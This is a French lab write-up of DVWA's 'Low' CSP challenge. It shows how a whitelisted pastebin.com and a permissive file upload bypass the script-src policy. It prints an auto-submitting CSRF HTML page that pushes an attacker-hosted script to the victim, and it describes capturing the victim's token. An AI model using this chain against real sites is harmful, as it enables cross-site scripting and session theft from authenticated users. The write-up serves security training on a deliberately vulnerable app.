# Niveau "Low"

Le challenge en niveau "Low" invite à saisir une URL afin d'exécuter un script externe :

![](https://1502624390-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LXA-aPG-dBFXBTzP1DC%2F-LuDWdOGsk5XL6MRKV35%2F-LuDXNJ4CWxxz_JBCcBU%2F83d66bf2506d8abbf52df7aa04c8491c.png?alt=media\&token=80c5b1c0-d7ac-4730-81b3-e509bf4aa81c)

Etant donné que le challenge porte sur CSP, j'analyse la politique en place :

![](https://1502624390-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LXA-aPG-dBFXBTzP1DC%2F-LuDWdOGsk5XL6MRKV35%2F-LuDXc34gZge173YaqZT%2F4c95c1893c15a69870cccd04fed456fd.png?alt=media\&token=4db55239-901e-4678-a87a-038a593d5874)

```
Content-Security-Policy: script-src 'self' https://pastebin.com example.com code.jquery.com https://ssl.google-analytics.com
```

Ce qui donne pour la directive `script-src` :

* `'self'` : Autorise l'exécution de ressources fournies par la même origine
* `https://pastebin.com` : Autorise l'exécution de ressources hébergées sur _https://pastebin.com_
* `example.com` : Autorise l'exécution de ressources hébergées sur _example.com_
* `code.jquery.com` : Autorise l'exécution de ressources hébergées sur le sous domaine _code.jquery.com_
* `https://ssl.google-analytics.com` : Autorise l'exécution de ressources hébergées sur le sous domaine _ssl.google-analytics.com_

Ma première idée est d'exploiter la vulnérabilité de file upload trop permissive qui va me permettre d'uploader sur la plateforme un fichier javascript malicieux. Ce fichier aura donc la même origine que celle de l'application :

![](https://1502624390-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LXA-aPG-dBFXBTzP1DC%2F-LuDWdOGsk5XL6MRKV35%2F-LuD_ONTkEHNZDH8AmhW%2Fabd8c00a65a0114f8bf3bb217a51e642.png?alt=media\&token=d62178ae-5f98-45bb-9ead-7e462e8283f0)

Etant donné qu'il est possible d'accéder directement au fichier, je peux soumettre son URL dans le formulaire du challenge CSP :

![](https://1502624390-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LXA-aPG-dBFXBTzP1DC%2F-LuDlXy1ks2OH6sNYfDH%2F-LuH8Z8URGYSn2Df9-zB%2Ff4cdd55c232175ca8a47209179707fb7.png?alt=media\&token=78e112ed-52c1-4b18-b444-1081afb85fb6)

Cela permet de contourner la source `'self'` du CSP.

Concernant la liste blanche d'URL autorisées, `https://pastbin.com` va me permettre également l'exécution de script :

![](https://1502624390-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LXA-aPG-dBFXBTzP1DC%2F-LuDWdOGsk5XL6MRKV35%2F-LuDaWAdAh7kvrdTc_YM%2F9fe51b4422633e6f836324885e0175fa.png?alt=media\&token=a2bd8bf8-e1fa-4908-b7b1-998404458a11)

Pour l'exploitation, j'utilise le mode "raw" afin de soumettre l'URL à DVWA :

![](https://1502624390-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LXA-aPG-dBFXBTzP1DC%2F-LuDWdOGsk5XL6MRKV35%2F-LuDajV26x_qeygdCbki%2F95f6e25ce122eccbf6fea456fa91fdbf.png?alt=media\&token=c26bfe55-455b-4bec-9a8b-da8cf2b4c30d)

Ce qui permet de faire exécuter un script contrôlé par mes soins tout en respectant la liste blanche imposée par DVWA :

![](https://1502624390-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LXA-aPG-dBFXBTzP1DC%2F-LuDWdOGsk5XL6MRKV35%2F-LuDbRJ0RmPCLT8NiF-X%2F072bf6bc8bdd3c9cd0d964b3f5f0fd69.png?alt=media\&token=0407e5c5-249a-42bc-81ea-d94e0980b9c1)

Il suffit d'adapter la payload malicieux afin de récupérer le jeton de la victime :

![](https://1502624390-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LXA-aPG-dBFXBTzP1DC%2F-LuDbStSR6Ust44jU-c6%2F-LuDcGaaNsbgyHn8rLHr%2Ff553280d21b7d08019c14bdb7584c2f3.png?alt=media\&token=b0b28b2a-d737-4017-977e-90799f1184c1)

Reste maintenant à savoir comment s'y prendre pour que l'attaque affecte un autre utilisateur. En effet, la requête n'est pas de type **`GET`** mais de type **`POST`**, ce qui m'empêche de partager facilement un lien forgé à la victime :&#x20;

![](https://1502624390-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LXA-aPG-dBFXBTzP1DC%2F-LuDcSh60jfdurBFHI5D%2F-LuDe2cjBmCs6uF8z7Sr%2F26904d65167ec3365c6c78f8fb603a0f.png?alt=media\&token=7915ea99-7492-4f4a-8b8a-8702967b514a)

La solution que j'ai trouvée pour remédier à ce problème est d'utiliser la faille CSRF présente dans cette requête (aucun mécanisme de protection n'est présent). Il me faut donc héberger sur un serveur d'attaque la page malicieuse suivante :

```markup
<html>
  <head>
    <title>Exploitation POST XSS</title>
  </head>

  <body>
    <p>Post reflected XSS !</p>
    <form action="http://192.168.56.203:8080/vulnerabilities/csp/" method="POST" name="postExploitXSS">
      <input type="text" name="include" value="https://pastebin.com/raw/GSVw7nnZ">
      <button type="submit">Envoyer le message</button>
    </form>

    <script>document.forms['postExploitXSS'].submit();</script>
    </body>
</html>
```

Puis de fournir à la victime le lien permettant d'accéder à ma page, par exemple `http://192.168.56.182/dvwa/post_xss.html` :

![](https://1502624390-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LXA-aPG-dBFXBTzP1DC%2F-LuDcSh60jfdurBFHI5D%2F-LuDfMJhJBe5taQIhhx0%2F7fa84faa90d73ff547b4b042fe15240a.png?alt=media\&token=e16414e2-0c52-49d1-ac72-d1e90755264b)

La victime, obligatoirement authentifiée, sera redirigée (ce qui déclenchera l'exécution de notre script) vers le site du challenge CSP de DVWA et l'attaquant réceptionnera son jeton :

![](https://1502624390-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LXA-aPG-dBFXBTzP1DC%2F-LuDcSh60jfdurBFHI5D%2F-LuDfcBQK702qn0KNxs6%2F22eb6eb75298fced197214c1f6f963fc.png?alt=media\&token=f67ccbe9-d75f-477f-9741-6fa24b4c8d47)
